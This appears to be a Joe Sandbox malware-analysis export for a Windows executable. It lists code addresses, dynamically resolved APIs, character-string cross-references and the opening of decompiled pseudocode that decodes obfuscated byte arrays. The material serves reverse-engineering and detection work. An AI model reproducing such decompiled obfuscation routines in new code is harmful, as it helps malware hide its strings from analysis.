0x0041cdf5
0x0041cdfa
0x0041cdff
0x0041ce04
0x0041ce09
0x0041ce0e
0x0041ce13
0x0041ce18
0x0041ce1d
0x0041ce20
0x0041ce2e
0x0041ce3c
0x0041ce4a
0x0041ce54
0x0041ce58
0x0041ce5b
0x0041ce66
0x0041ce6a
0x0041ce6f
0x00000000
0x0041ce75
0x0041ce7b
0x0041ce7f
0x0041ce83
0x0041ce85
0x0041ce8a
0x0041ce8f
0x0041ce94
0x0041ce99
0x0041ce9e
0x0041cea3
0x0041cea8
0x0041cead
0x0041ceb2
0x0041ceb7
0x0041cebc
0x0041cec1
0x0041cec5
0x0041ceca
0x0041cecf
0x0041ced4
0x0041ced9
0x0041cede
0x0041cee3
0x0041cee8
0x0041ceed
0x0041cef2
0x0041cef7
0x0041cefc
0x0041cf01
0x0041cf06
0x0041cf0a
0x0041cf0f
0x0041cf14
0x0041cf19
0x0041cf1e
0x0041cf22
0x0041cf27
0x00000000
0x0041cf2d
0x0041cf2d
0x0041cf32
0x0041cf37
0x0041cf3c
0x0041cf41
0x0041cf46
0x0041cf4b
0x0041cf50
0x0041cf55
0x0041cf5d
0x0041cf65
0x0041cf6d
0x0041cf75
0x0041cf7d
0x0041cf85
0x0041cf8d
0x0041cf90
0x0041cf90
0x0041cf95
0x0041cf96
0x0041cfa1
0x0041cfa5
0x0041cfaa
0x00000000
0x0041cfb0
0x0041cfbe
0x0041cfc3
0x0041cfc8
0x0041cfcd
0x0041cfd2
0x0041cfd7
0x0041cfdc
0x0041cfe1
0x0041cfe6
0x0041cfeb
0x0041cff0
0x0041cff5
0x0041cffa
0x0041cffe
0x0041d003
0x0041d008
0x0041d00d
0x0041d012
0x0041d017
0x0041d01c
0x0041d021
0x0041d026
0x0041d02b
0x0041d030
0x0041d035
0x0041d039
0x0041d03e
0x00000000
0x0041d044
0x0041d046
0x0041d04e
0x0041d056
0x0041d05e
0x0041d066
0x0041d06e
0x0041d076
0x0041d07e
0x0041d086
0x0041d08e
0x0041d096
0x0041d09e
0x0041d0a6
0x0041d0ae
0x0041d0b6
0x0041d0be
0x0041d0c6
0x0041d0ce
0x0041d0d6
0x0041d0de
0x0041d0e6
0x0041d0ee
0x0041d0f3
0x0041d0f8
0x0041d0fd
0x0041d102
0x0041d107
0x0041d10c
0x0041d111
0x0041d116
0x0041d11b
0x0041d120
0x0041d125
0x0041d12a
0x0041d12e
0x0041d133
0x0041d138
0x0041d13d
0x0041d142
0x0041d147
0x0041d14c
0x0041d150
0x0041d155
0x0041d160
0x0041d174
0x0041d188
0x0041d195
0x0041d19c
0x0041d19f
0x0041d1ad
0x0041d1b1
0x0041d1b6
0x00000000
0x0041d1bc
0x0041d1c3
0x0041d1c5
0x0041d1ca
0x0041d1d2
0x0041d1da
0x0041d1e2
0x0041d1ea
0x0041d1f2
0x0041d1fa
0x0041d202
0x0041d20a
0x0041d212
0x0041d21a
0x0041d222
0x0041d22a
0x0041d232
0x0041d23a
0x0041d23f
0x0041d244
0x0041d249
0x0041d24e
0x0041d253
0x0041d258
0x0041d25d
0x0041d262
0x0041d267
0x0041d26c
0x0041d271
0x0041d276
0x0041d27b
0x0041d280
0x0041d285
0x0041d28a
0x0041d28e
0x0041d293
0x00000000
0x0041d299
0x0041d2a2
0x0041d2aa
0x0041d2b2
0x0041d2ba
0x0041d2c2
0x0041d2ca
0x0041d2d2
0x0041d2da
0x0041d2e2
0x0041d2e6
0x0041d2eb
0x00000000
0x0041d2f1
0x0041d2fa
0x0041d302
0x0041d30a
0x0041d312
0x0041d31a
0x0041d322
0x0041d32a
0x0041d332
0x0041d33a
0x0041d33e
0x0041d343
0x00000000
0x0041d349
0x0041d349
0x0041d352
0x0041d35a
0x0041d362
0x0041d36a
0x0041d372
0x0041d37a
0x0041d382
0x0041d38a
0x0041d392
0x0041d39a
0x0041d3a2
0x0041d3aa
0x0041d3b2
0x0041d3ba
0x0041d3c2
0x0041d3ca
0x0041d3d2
0x0041d3da
0x0041d3e2
0x0041d3ea
0x0041d3f2
0x0041d3f9
0x0041d401
0x0041d406
0x0041d40b
0x0041d410
0x0041d415
0x0041d41a
0x0041d41f
0x0041d424
0x0041d429
0x0041d42e
0x0041d433
0x0041d438
0x0041d43d
0x0041d442
0x0041d447
0x0041d44c
0x0041d451
0x0041d456
0x0041d45b
0x0041d460
0x0041d465
0x0041d46a
0x0041d46f
0x0041d474
0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d4a3
0x0041d4a7
0x0041d4ac
0x00000000
0x0041d4b2
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d53b
0x0041d541
0x0041d543
0x0041d547
0x0041ddc9
0x0041dddf
0x0041d54d
0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d637
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d6a1
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d962
0x0041d967
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da87
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da9a
0x0041da9e
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddb9
0x0041ddc2
0x0041ddc7
0x00000000
0x0041ddc7
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547
0x0041d4ac
0x0041d343
0x0041d2eb
0x0041d293
0x0041d1b6
0x0041d03e
0x0041cfaa
0x0041cf27
0x0041ce6f
0x0041cd76
0x0041ccde
0x0041cc1b
0x0041cbbb
0x0041cac8
0x0041ca88
0x0041ca30
0x0041c9ad
0x0041c8ce
0x0041c80f
0x0041c80f
0x0041c827
0x0041c827
0x0041c743
0x0041c755
0x0041c755

APIs

LoadLibraryA.KERNEL32(?,?), ref: 0041C738
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C804
GetProcAddress.KERNEL32 ref: 0041C861
GetProcAddress.KERNEL32(00000000,?), ref: 0041C8C5
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C9A4
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041CA27

Strings

I, xrefs: 0041DDA5
H, xrefs: 0041D4E3
b, xrefs: 0041CAE7
n, xrefs: 0041D322
e, xrefs: 0041D8DB
d, xrefs: 0041CAAF
h, xrefs: 0041C831
s, xrefs: 0041C851
S, xrefs: 0041DD7D
o, xrefs: 0041C841
#, xrefs: 0041D1CA
R, xrefs: 0041CC59
a, xrefs: 0041D465
I, xrefs: 0041DAC1
D, xrefs: 0041D43D
4, xrefs: 0041D3B2
+, xrefs: 0041D782
., xrefs: 0041C9C3
\, xrefs: 0041D0CE
h, xrefs: 0041D93D
;, xrefs: 0041DC3C
R, xrefs: 0041D2BA
y, xrefs: 0041D905
g, xrefs: 0041DB47
d, xrefs: 0041C6BC
O, xrefs: 0041CC29
&, xrefs: 0041D87A
B, xrefs: 0041CDF0
v, xrefs: 0041D2D2
h, xrefs: 0041CBD2
w, xrefs: 0041D9B7
J, xrefs: 0041DD55
w, xrefs: 0041CBFA
f, xrefs: 0041D451
4, xrefs: 0041D3C2
4, xrefs: 0041D3CA
c, xrefs: 0041CA3F
d, xrefs: 0041C8AD
m, xrefs: 0041DB80
[, xrefs: 0041D45B
@, xrefs: 0041DCCC
T, xrefs: 0041DB3D
N, xrefs: 0041D4E8
*, xrefs: 0041CFEB
e, xrefs: 0041D31A
Q, xrefs: 0041D362
f, xrefs: 0041CC49
Y, xrefs: 0041D46A
e, xrefs: 0041CA9F
^, xrefs: 0041D12E
I, xrefs: 0041D524
&, xrefs: 0041DAF8
), xrefs: 0041D0E6
$, xrefs: 0041D429
n, xrefs: 0041CA4F
Z, xrefs: 0041C7B5
z, xrefs: 0041CC69
5, xrefs: 0041D0AE
G@,, xrefs: 0041C666
1, xrefs: 0041DDA0
t, xrefs: 0041CA6F
n, xrefs: 0041C849
:, xrefs: 0041D90D
S, xrefs: 0041DB9E
~, xrefs: 0041CD8D
M, xrefs: 0041DCAC
+, xrefs: 0041CD7E
>, xrefs: 0041D86A
F, xrefs: 0041C77D
s, xrefs: 0041CA97
l, xrefs: 0041D4D9
>, xrefs: 0041D41A
X, xrefs: 0041DD73
9, xrefs: 0041D915
<, xrefs: 0041D8A2
q, xrefs: 0041D50B
n, xrefs: 0041CC02
W, xrefs: 0041D2FA
(, xrefs: 0041D3DA
t, xrefs: 0041CBE2
r, xrefs: 0041C8B5
t, xrefs: 0041DD9B
`, xrefs: 0041DC64
S, xrefs: 0041D302
C, xrefs: 0041C926
$, xrefs: 0041DC54
7, xrefs: 0041D0FD
d, xrefs: 0041CBEA
x, xrefs: 0041D9D5
T, xrefs: 0041C90E
_, xrefs: 0041DD69
S, xrefs: 0041D2AA
&, xrefs: 0041CEF2
/, xrefs: 0041D925
B, xrefs: 0041D096
`, xrefs: 0041DB99
c, xrefs: 0041CA67
W, xrefs: 0041DD87
u, xrefs: 0041CBDA
[, xrefs: 0041CADD
A, xrefs: 0041D2B2
~, xrefs: 0041DAA8
7, xrefs: 0041DC34
o, xrefs: 0041CA47
9, xrefs: 0041DD50
S, xrefs: 0041D4C0
8, xrefs: 0041D7D5
g, xrefs: 0041D92D
x, xrefs: 0041D787
_, xrefs: 0041D20A
e, xrefs: 0041CA5F
W, xrefs: 0041D2A2
k, xrefs: 0041D352
h, xrefs: 0041D8F5
|, xrefs: 0041DD5F
@, xrefs: 0041C6C4
t, xrefs: 0041D271
S, xrefs: 0041DD28
<, xrefs: 0041D401
t, xrefs: 0041D8E5
p, xrefs: 0041D10C
B, xrefs: 0041CACE
T, xrefs: 0041D35A
., xrefs: 0041C684
, xrefs: 0041C956
n, xrefs: 0041CA57
e, xrefs: 0041D2C2
L, xrefs: 0041C972
w, xrefs: 0041D7BD
1, xrefs: 0041DAB7
n, xrefs: 0041CAEC
`, xrefs: 0041D94D
&, xrefs: 0041CD2E
J, xrefs: 0041D37A
t, xrefs: 0041C839
S, xrefs: 0041D312
J, xrefs: 0041D91D
i, xrefs: 0041DC4C
$, xrefs: 0041D9AD
6, xrefs: 0041DD6E
<, xrefs: 0041DD78
A, xrefs: 0041D52D
6, xrefs: 0041DD19
M, xrefs: 0041DD1E
;, xrefs: 0041CD24
p, xrefs: 0041DD91
r, xrefs: 0041D05E
H, xrefs: 0041DCC4
n, xrefs: 0041CAA7
T, xrefs: 0041DADA
L, xrefs: 0041DC84
d, xrefs: 0041D32A
L, xrefs: 0041D056
$, xrefs: 0041DD82
g, xrefs: 0041D51F
v, xrefs: 0041D501
e, xrefs: 0041C885
u, xrefs: 0041DCFB
c, xrefs: 0041D2CA
P, xrefs: 0041D44C
A, xrefs: 0041D392
o, xrefs: 0041DB51
i, xrefs: 0041D39A
I, xrefs: 0041CCF8
A, xrefs: 0041D30A
L, xrefs: 0041DC7C
B, xrefs: 0041D8D1
L, xrefs: 0041DD0F
x, xrefs: 0041D267
W, xrefs: 0041D9BC
a, xrefs: 0041C89D
7, xrefs: 0041CECF
|, xrefs: 0041D244
X, xrefs: 0041DD32
2, xrefs: 0041D862
r, xrefs: 0041D8B2
H, xrefs: 0041DAE9
., xrefs: 0041D249
`, xrefs: 0041D852

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $#$$$$$$$$$&$&$&$&$($)$*$+$+$.$.$.$/$1$1$2$4$4$4$5$6$6$7$7$7$8$9$9$:$;$;$<$<$<$>$>$@$@$A$A$A$A$B$B$B$B$C$D$F$G@,$H$H$H$I$I$I$I$J$J$J$L$L$L$L$L$M$M$N$O$P$Q$R$R$S$S$S$S$S$S$S$T$T$T$T$W$W$W$W$X$X$Y$Z$[$[$\$^$_$_$`$`$`$`$a$a$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$f$f$g$g$g$h$h$h$h$i$i$k$l$m$n$n$n$n$n$n$n$o$o$o$p$p$q$r$r$r$s$s$t$t$t$t$t$t$u$u$v$v$w$w$w$x$x$x$y$z$|$|$~$~
API String ID: 2238633743-726918843
Opcode ID: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
Instruction ID: f457ac551960ea605d3d070b3bc85a292eac30f70a1b7871ccb60a54743c72b9
Opcode Fuzzy Hash: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
Instruction Fuzzy Hash: B8E2982000C7C2C9D332D63C984879FBFD51BA7228F584B9DE1E95A2E2D7A98149C777

Uniqueness

Uniqueness Score: -1.00%

Function 00408BC0, Relevance: 302.5, APIs: 1, Strings: 171, Instructions: 1478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00408BC0(void* __ebx, signed int __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr* _a4) {
				signed int _v4;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				char _v40;
				char _v44;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v352;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v456;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				void* _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char* _v544;
				char* _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char* _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char* _v572;
				intOrPtr _v576;
				char* _v580;
				char* _v584;
				char* _v588;
				char* _v592;
				intOrPtr _v596;
				char* _v600;
				char* _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				char* _v628;
				char* _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				char* _v644;
				intOrPtr _v648;
				char* _v652;
				intOrPtr _v656;
				char* _v660;
				char* _v664;
				char* _v668;
				intOrPtr _v672;
				char* _v676;
				intOrPtr _v680;
				char* _v684;
				char* _v688;
				char* _v692;
				char* _v696;
				char* _v700;
				intOrPtr _v704;
				char* _v708;
				intOrPtr _v712;
				char* _v716;
				char* _v720;
				char* _v724;
				char* _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				char* _v744;
				char* _v748;
				char* _v752;
				char* _v756;
				char* _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				char* _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				char _v869;
				char _v870;
				char _v871;
				char _v872;
				char _v873;
				char _v874;
				char _v875;
				char _v876;
				char _v877;
				char _v878;
				char _v879;
				char _v880;
				char _v882;
				char _v883;
				char _v884;
				char _v885;
				char _v886;
				char _v887;
				char _v888;
				char _v892;
				char _v893;
				char _v894;
				char _v895;
				signed int _v896;
				void* _v904;
				intOrPtr _t1161;
				char _t1165;
				void* _t1171;
				intOrPtr _t1177;
				intOrPtr _t1178;
				void* _t1179;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				intOrPtr _t1188;
				intOrPtr _t1189;
				void* _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1193;
				intOrPtr _t1195;
				void* _t1196;
				intOrPtr _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1201;
				void* _t1202;
				void* _t1203;
				intOrPtr _t1204;
				void* _t1205;
				void* _t1208;
				void* _t1209;
				void* _t1210;
				void* _t1214;
				void* _t1218;
				intOrPtr _t1220;
				intOrPtr _t1221;
				void* _t1222;
				void* _t1223;
				void* _t1224;
				intOrPtr _t1226;
				intOrPtr _t1232;
				void* _t1233;
				void* _t1234;
				intOrPtr _t1235;
				void* _t1236;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				intOrPtr _t1241;
				void* _t1242;
				void* _t1247;
				intOrPtr _t1250;
				intOrPtr _t1251;
				void* _t1252;
				void* _t1253;
				intOrPtr _t1256;
				void* _t1260;
				signed int _t1264;
				void* _t1265;
				void* _t1269;
				intOrPtr _t1270;
				intOrPtr _t1273;
				intOrPtr* _t1281;
				intOrPtr _t1315;
				void* _t1364;
				signed int _t1399;
				void* _t1474;
				intOrPtr _t1487;
				intOrPtr* _t1489;
				intOrPtr* _t1491;
				intOrPtr* _t1492;
				intOrPtr _t1493;
				signed int _t1494;
				intOrPtr* _t1496;
				intOrPtr _t1498;
				intOrPtr _t1499;
				void* _t1500;
				void* _t1503;
				void* _t1504;
				void* _t1505;
				void* _t1506;
				void* _t1507;
				void* _t1508;
				void* _t1510;
				void* _t1511;
				void* _t1512;
				void* _t1513;
				void* _t1514;

				_t1316 = __ecx;
				_push(0xffffffff);
				_push(E0042D2A8);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t1499;
				_t1500 = _t1499 - 0x374;
				_t1161 =  *0x4310d8; // 0x2c0d4047
				_t1496 = _a4;
				_v16 = _t1161;
				_v896 = __ecx;
				if(_t1496 != 0) {
					_push(__edi);
					_t1474 = E00425500(_t1496, 0x40);
					_t1500 = _t1500 + 8;
					if(_t1474 != 0) {
						if(_t1474 - _t1496 > 0x20) {
							goto L3;
						}
						_t1489 = E00425420(_t1316, _t1474, 0x2e);
						_t1500 = _t1500 + 8;
						if(_t1489 == 0) {
							L8:
							_t1165 = 0;
							L100:
							L101:
							L102:
							 *[fs:0x0] = _v12;
							return E00424873(_t1165, _v16);
						}
						_v20 = 0xf;
						_v24 = 0;
						_v40 = 0;
						_t7 = _t1489 + 1; // 0x1
						_v4 = 0;
						E00407D30(_t7);
						if(E00407560( &_v48) != 0) {
							_t1281 = _t1489;
							_t1491 = _t1489 - 1;
							if(_t1491 < _t1474) {
								L14:
								_v896 = 1;
								_t1492 = _t1496;
								if(_t1496 == _t1474) {
									L22:
									_v448 = 0x81;
									_v447 = 0xb0;
									_v446 = 0xce;
									_v445 = 0x2f;
									_v444 = 0x62;
									_v443 = 0;
									_v532 = 0xf1;
									_v531 = 0xbf;
									_v530 = 0xa1;
									_v529 = 0x45;
									_v528 = 0xde;
									_v527 = 0;
									_t1171 = 0;
									do {
										 *((char*)(_t1500 + _t1171 + 0x1d0)) =  *((intOrPtr*)(_t1500 + _t1171 + 0x1d0)) +  *((intOrPtr*)(_t1500 + _t1171 + 0x17c));
										_t1171 = _t1171 + 1;
									} while (_t1171 < 6);
									_push(7);
									_push( &_v152);
									_v152 = 0xcb;
